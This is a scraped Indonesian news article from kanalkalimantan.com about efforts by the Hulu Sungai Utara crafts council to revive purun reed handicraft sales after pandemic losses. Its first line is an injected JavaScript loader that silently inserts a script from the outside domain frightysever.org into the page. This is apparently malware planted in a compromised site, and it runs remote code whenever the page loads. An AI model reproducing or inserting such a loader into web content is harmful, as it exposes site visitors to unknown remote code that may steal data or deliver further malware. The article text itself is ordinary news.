(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Bisnis

Ketua Dekranasda HSU Optimis Kerajinan Purun Bisa Bangkit


KANALKALIMANTAN.COM, AMUNTAI – Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Kabupaten Hulu Sungai Utara (HSU) Hj Anisah Rasyidah Wahid meyakini kerajinan purun asal HSU bisa bangkit di masa adaptasi kebiasaan baru.

Purun merupakan tumbuhan rawa yang banyak yang dijumpai di Kabupaten HSU karena hampir 80% di seluruh wilayah HSU dikelilingi rawa, sehingga tumbuhan purun mampu di manfaatkan oleh sebagian masyarakat HSU.

Anisa menjelaskan, kerajinan purun merupakan salah satu produk Industri Kecil Menengah (IKM) dari Kabupaten HSU yang telah banyak dikenal baik di dalam daerah hingga nasional.

Purun sampai kini menjadi sumber ekonomi selain bertani bagi sebagian masyarakat desa di HSU karena sudah membudaya dikalangan masyarakat HSU.

“Tanpa harus dipaksa, banyak tangan yang terampil membuat kerajinan khas alam ini,” kata Anisah.

Anisah menambahkan dari purun berbagai kerajinan dapat dihasilkan oleh para pengrajin diantara seperti tas, tikar, topi, bakul, hiasan dinding, aksesoris lainnya bahkan sedotan yang kini diekspor sampai ke luar negeri.

Selain itu, kata Anisah tak jarang kerajinan purun asal kabupaten HSU ini mengikuti ajang di pameran-pameran nasional untuk dipromosikan.

Anisah mengakui, meski pada masa pandemi covid 19 ini pemasaran kerajinan menurun hampir 30% yang disebabkan oleh menurunnya daya beli konsumen, kenaikan harga bahan baku, kenaikan biaya produksi. Serta terhambatnya distribusi produk, namun hal itu tidak serta merta membuat para pengrajin berhenti sama sekali.

Karena segala permasalahan tersebutlah Dekranasda HSU semakin berupaya kembali untuk meningkatkan kembali produksi kerajinan, antaralain melalui pelatihan digital marketing kepada pelaku IKM. Menjalin kerjasama dengan berbagai lembaga untuk pemasaran produk di antaranya dengan Bank Indonesia (BI) dan Badan Restorasi Gambut (BRG).

“Di era saat ini pemasaran produksi kerajinan meningkat  20%, Alhamdulilah kenaikan sudah terlihat signifikan untuk pemasaran produksi dan pemasaran produk kerajinan,” kata Ketua Dekranasda HSU.

Lebih jauh, Anisa menghimbau kepada masyarakat HSU untuk bersama-sama menggunakan produk buatan kabupaten HSU sembari berharap agar produk kerajinan asal HSU dapat kembali normal dipasarkan seperti biasanya baik di dalam negeri maupun keluar negeri. (kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Al Ghifari

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

7 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

8 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

10 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

11 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

12 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

12 jam ago

This website uses cookies.